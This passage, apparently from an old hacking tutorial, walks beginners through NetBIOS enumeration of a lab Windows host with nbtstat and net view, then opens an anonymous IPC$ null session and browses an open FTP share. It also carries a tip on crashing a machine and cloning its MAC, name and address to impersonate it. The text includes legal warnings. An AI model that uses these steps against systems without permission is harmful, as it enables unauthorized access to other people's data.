98, SE or ME, see the end of this Guide for how to enable NetBIOS.) Click:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;Control
Panel -&amp;gt; Network Connections &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;There
are two types of network connections that may appear here: "Dial-up"
and "LAN or High-Speed Internet". &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;**************&lt;br /&gt;
Newbie note: A dial-up connection uses a modem to reach the Internet. LAN
stands for local area network. It's what you have if two or more computers are
linked to each other with a cable instead of modems. Most schools and
businesses have LANs, as well as homes with Internet connection sharing. A DSL
or cable modem connection will also typically show up as a LAN connection. &lt;br /&gt;
**************&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;To
configure your connections for hacking, double click on the connection you plan
to use. That brings up a box that has a button labeled "Properties".
Clicking it brings up a box that says "This connection uses the following
items:"&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;You
need to have both TCP/IP and NWLink NetBIOS showing. If NWLink NetBIOS is
missing, here's how to add it. Click Install -&amp;gt; Protocol -&amp;gt; Add
NWlink/IPX/SPX/NetBIOS Compatible Transport Protocol.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;**************&lt;br /&gt;
Newbie note: NWLink refers to Novell's Netware protocol for running a LAN.&lt;br /&gt;
**************&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;b&gt;&lt;span style="font-family: &amp;quot;Comic Sans MS&amp;quot;; font-size: 14.0pt; mso-bidi-font-family: &amp;quot;Comic Sans MS&amp;quot;;"&gt;How to Use Nbtstat&lt;/span&gt;&lt;/b&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;To
get started, bring up the cmd.exe command. Click Start -&amp;gt; Run and type cmd.exe
in the command line box. This brings up a black screen with white letters. Once
it is up, we will play with the nbtstat command. To get help for this command,
just type:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;C:\&amp;gt;nbtstat
help&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;One
way to use the nbtstat command is to try to get information from another
computer using either its domain name (for example test.target.com), its
numerical Internet address (for example, happyhacker.org's numerical address is
206.61.52.30), or its NetBIOS name (if you are on the same LAN).&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;C:\&amp;gt;nbtstat
-a 10.0.0.2 &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;Local
Area Connection:&lt;br /&gt;
Node IpAddress: [10.0.0.1] Scope Id: []&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;NetBIOS
Remote Machine Name Table&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;Name
Type Status&lt;br /&gt;
---------------------------------------------&lt;br /&gt;
OLDGUY &amp;lt;00&amp;gt; UNIQUE Registered&lt;br /&gt;
OLDGUY &amp;lt;20&amp;gt; UNIQUE Registered&lt;br /&gt;
WARGAME &amp;lt;00&amp;gt; GROUP Registered&lt;br /&gt;
INet~Services &amp;lt;1C&amp;gt; GROUP Registered&lt;br /&gt;
IS~OLDGUY......&amp;lt;00&amp;gt; UNIQUE Registered&lt;br /&gt;
OLDGUY &amp;lt;03&amp;gt; UNIQUE Registered&lt;br /&gt;
WARGAME &amp;lt;1E&amp;gt; GROUP Registered&lt;br /&gt;
ADMINISTRATOR &amp;lt;03&amp;gt; UNIQUE Registered&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;MAC
Address = 52-54-00-E4-6F-40&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;What
do these things tell us about this computer? Following is a table explaining
the codes you may see with an nbtstat command (taken from the MH Desk
Reference, written by the Rhino9 team).&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;Name
Number Type Usage =========================================================&lt;br /&gt;
&amp;lt;computername&amp;gt; 00 U Workstation Service &lt;br /&gt;
&amp;lt;computername&amp;gt; 01 U Messenger Service &lt;br /&gt;
&amp;lt;\\_MSBROWSE_&amp;gt; 01 G Master Browser &lt;br /&gt;
&amp;lt;compname&amp;gt; 03 U Messenger Service&lt;br /&gt;
&amp;lt;computername&amp;gt; 06 U RAS Server Service&lt;br /&gt;
&amp;lt;computername&amp;gt; 1F U NetDDE Service&lt;br /&gt;
&amp;lt;computername&amp;gt; 20 U File Server Service&lt;br /&gt;
&amp;lt;computername&amp;gt; 21 U RAS Client Service&lt;br /&gt;
&amp;lt;computername&amp;gt; 22 U Exchange Interchange &lt;br /&gt;
&amp;lt;computername&amp;gt; 23 U Exchange Store&lt;br /&gt;
&amp;lt;computername&amp;gt; 24 U Exchange Directory&lt;br /&gt;
&amp;lt;computername&amp;gt; 30 U Modem Sharing Server Service&lt;br /&gt;
&amp;lt;computername&amp;gt; 31 U Modem Sharing Client Service&lt;br /&gt;
&amp;lt;computername&amp;gt; 43 U SMS Client Remote Control&lt;br /&gt;
&amp;lt;computername&amp;gt; 44 U SMS Admin Remote Control Tool&lt;br /&gt;
&amp;lt;computername&amp;gt; 45 U SMS Client Remote Chat&lt;br /&gt;
&amp;lt;computername&amp;gt; 46 U SMS Client Remote Transfer&lt;br /&gt;
&amp;lt;computername&amp;gt; 4C U DEC Pathworks TCPIP Service&lt;br /&gt;
&amp;lt;computername&amp;gt; 52 U DEC Pathworks TCPIP Service&lt;br /&gt;
&amp;lt;computername&amp;gt; 87 U Exchange MTA&lt;br /&gt;
&amp;lt;computername&amp;gt; 6A U Exchange IMC&lt;br /&gt;
&amp;lt;computername&amp;gt; BE U Network Monitor Agent&lt;br /&gt;
&amp;lt;computername&amp;gt; BF U Network Monitor Apps&lt;br /&gt;
&amp;lt;username&amp;gt; 03 U Messenger Service&lt;br /&gt;
&amp;lt;domain&amp;gt; 00 G Domain Name&lt;br /&gt;
&amp;lt;domain&amp;gt; 1B U Domain Master Browser&lt;br /&gt;
&amp;lt;domain&amp;gt; 1C G Domain Controllers&lt;br /&gt;
&amp;lt;domain&amp;gt; 1D U Master Browser&lt;br /&gt;
&amp;lt;domain&amp;gt; 1E G Browser Service Elections&lt;br /&gt;
&amp;lt;INet~Services&amp;gt;1C G Internet Information Server&lt;br /&gt;
&amp;lt;IS~Computer_name&amp;gt;00 U Internet Information Server&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;To
keep this Guide from being ridiculously long, we'll just explain a few of the
things what we learned when we ran nbtstat -a against 10.0.0.2:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;*
it uses NetBIOS&lt;br /&gt;
* its NetBIOS name is Oldguy&lt;br /&gt;
* one of the users is named Administrator&lt;br /&gt;
* it runs a web site with Internet Information Server, and maybe an ftp - file
transfer protocol -- server&lt;br /&gt;
* it is a member of the domain Wargame&lt;br /&gt;
* it is connected on a local area network and we accessed it through an
Ethernet network interface card (NIC) with a MAC Address of 52-54-00-E4-6F-40. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;When
using nbtstat over the Internet, in most cases it will not find the correct MAC
address. However, sometimes you get lucky. That is part of the thrill of legal
hacker exploration. OK, OK, maybe getting a thrill out of a MAC address means
I'm some kind of a freak. But if you are reading this, you probably are freaky
enough to be a hacker, too.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;**************&lt;br /&gt;
Newbie note: MAC stands for media access control. In theory every NIC ever made
has a unique MAC address, one that no other NIC has. In practice, however, some
manufacturers make NICs that allow you to change the MAC address. &lt;br /&gt;
**************&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;**************&lt;br /&gt;
Evil Genius tip: sneak your computer onto a LAN and use it to find the MAC
address of a very interesting computer. Crash it, then give yours the same MAC,
NetBIOS name and Internet address as the very interesting computer. Then see
what you can do while faking being that computer. That's why I get a charge out
of discovering a MAC address, so stop laughing at me already.&lt;br /&gt;
**************&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;**************&lt;br /&gt;
You can get fired, expelled, busted and catch cooties warning: Faking all that
stuff is something you would be better off doing only on your own test network,
or with written permission from the owner of the very interesting computer.&lt;br /&gt;
**************&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;Now
that we know some basic things about computer 10.0.0.2, also known as Oldguy,
we can do some simple things to learn more. We can connect to it with a web
browser to see what's on the web site, and with ftp to see if it allows
anonymous users to download or upload files. In the case of Oldguy, anyone can
browse the web site. However, when we try to connect to its ftp server with
Netscape by giving the location ftp://10.0.0.2, it returns the message
"User Mozilla@ cannot log in.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;**************&lt;br /&gt;
Newbie note: The people who programmed Netscape have always called it Mozilla,
after a famous old movie monster. As a joke they have stuck obscure mentions of
Mozilla into the operations of Netscape. Mozilla lovers recently spun off a
pure Mozilla browser project that has the web site http://www.mozilla.org.&lt;br /&gt;
**************&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;b&gt;&lt;span style="font-family: &amp;quot;Comic Sans MS&amp;quot;; font-size: 14.0pt; mso-bidi-font-family: &amp;quot;Comic Sans MS&amp;quot;;"&gt;The Net View Command&lt;/span&gt;&lt;/b&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;Now
let's have some serious fun. Netscape (or any browser or ftp program) uses
TCP/IP to connect. What happens if we use NetBIOS instead to try to download
files from Oldguy's ftp server?&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;Let's
try some more NetBIOS commands:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;C:\&amp;gt;net
view \\10.0.0.2&lt;br /&gt;
System error 53 has occurred.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;The
network path was not found.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;I
got this message because my firewall blocked access to Oldguy, giving the
message:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;The
firewall has blocked Internet access to 10.0.0.2 (TCP Port 445) from your
computer [TCP Flags: S].&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;There's
a good reason for this. My firewall/IDS is trying to keep me from carelessly
making my computer a part of some stranger's LAN. Keep in mind that NetBIOS is
a two-way street. However, I want to run this command, so I shut down Zone
Alarm and give the command again:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;C:\&amp;gt;net
view \\10.0.0.2&lt;br /&gt;
Shared resources at \\10.0.0.2&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;Share
name Type Used as Comment&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;--------------------------------------------------------&lt;br /&gt;
ftproot Disk&lt;br /&gt;
InetPub Disk&lt;br /&gt;
wwwroot Disk&lt;br /&gt;
The command completed successfully.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;This
is a list of shared directories. Oooh, look at that, the ftp server is shared.
Does this mean I can get in? When setting shares on a Windows NT server, the
default choice is to allow access to read, write and delete files to everyone.
So sometimes a sysadmin carelessly fails to restrict access to a share.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;What
is really important is that we didn't need a user name or password to get this
potentially compromising information.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;Let's
establish an anonymous connection to Oldguy, meaning we connect without giving
it a user name or password:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;C:\&amp;gt;net
use \\10.0.0.2\ipc$&lt;br /&gt;
Local name&lt;br /&gt;
Remote name \\10.0.0.2\IPC$&lt;br /&gt;
Resource type IPC&lt;br /&gt;
Status OK&lt;br /&gt;
# Opens 0&lt;br /&gt;
# Connections 1&lt;br /&gt;
The command completed successfully.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;We
are connected!&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;**********************&lt;br /&gt;
Newbie note: IPC (ipc$) stands for "Inter Process Connector", used to
set up connections across a network between Windows computers using NetBIOS.&lt;br /&gt;
**********************&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;b&gt;&lt;span style="font-family: &amp;quot;Comic Sans MS&amp;quot;; font-size: 14.0pt; mso-bidi-font-family: &amp;quot;Comic Sans MS&amp;quot;;"&gt;What to Do Once you Are Connected&lt;/span&gt;&lt;/b&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;So
far we haven't quite been breaking the law, although we have been getting
pretty rude if the owner of that target computer hasn't given us permission to
explore. What if we want to stop pushing our luck and decide to disconnect?
Just give the message:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;C:\&amp;gt;net
session \\10.0.0.2 /delete&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;Of
course you would substitute the name or number of the computer to which you are
connected for 10.0.0.2.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;What
if you want to stay connected? Oldguy will let you stay connected even if you
do nothing more. By contrast, a login to a Unix/Linux type computer will
normally time out and disconnect you if you go too long without doing anything.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;b&gt;&lt;span style="font-family: &amp;quot;Comic Sans MS&amp;quot;; font-size: 14.0pt; mso-bidi-font-family: &amp;quot;Comic Sans MS&amp;quot;;"&gt;How to Break in Using the XP GUI&lt;/span&gt;&lt;/b&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;You
could try out the other net commands on Oldguy. Or you can go to the graphical
user interface (GUI) of XP. After running the above commands I click My
Computer, then My Network Places and there you'll find the victim, er, I mean,
target computer. By clicking on it, I discover that ftproot has been shared to
- everyone!&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;Let's
say you were to get this far investigating some random computer you found on
the Internet. Let's say you had already determined that the ftp server isn't
open to the public. At this moment you would have a little angel sitting one
shoulder whispering "You can be a hero. Email the owner of that computer
to tell him or her about that misconfigured ftproot."&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;On
the other shoulder a little devil is sneering, "Show the luser no mercy.
Information should be free. Because I said so, that's why. Hot darn, are those
spreadsheets from the accounting department? You could make a lot of bucks
selling those files to a competitor, muhahaha! Besides, you're so ugly that
future cellmate Spike won't make you be his girlfriend."&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;Some
hackers might think that because ftproot is shared to the world that it is OK
to download stuff from it. However, if someone were to log in properly to that
ftp server, he or she would get the message "Welcome to Oldguy on Carolyn
Meinel's LAN. Use is restricted to only those for whom Meinel has assigned a
user name and password." This warning logon banner is all a computer owner
needs to legally establish that no one is allowed to just break in. It won't
impress a judge if a cracker says "The owner was so lame that her computer
deserved to get broken into" or "I'm so lame that I forgot to try to
use the ftp server the normal way."&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
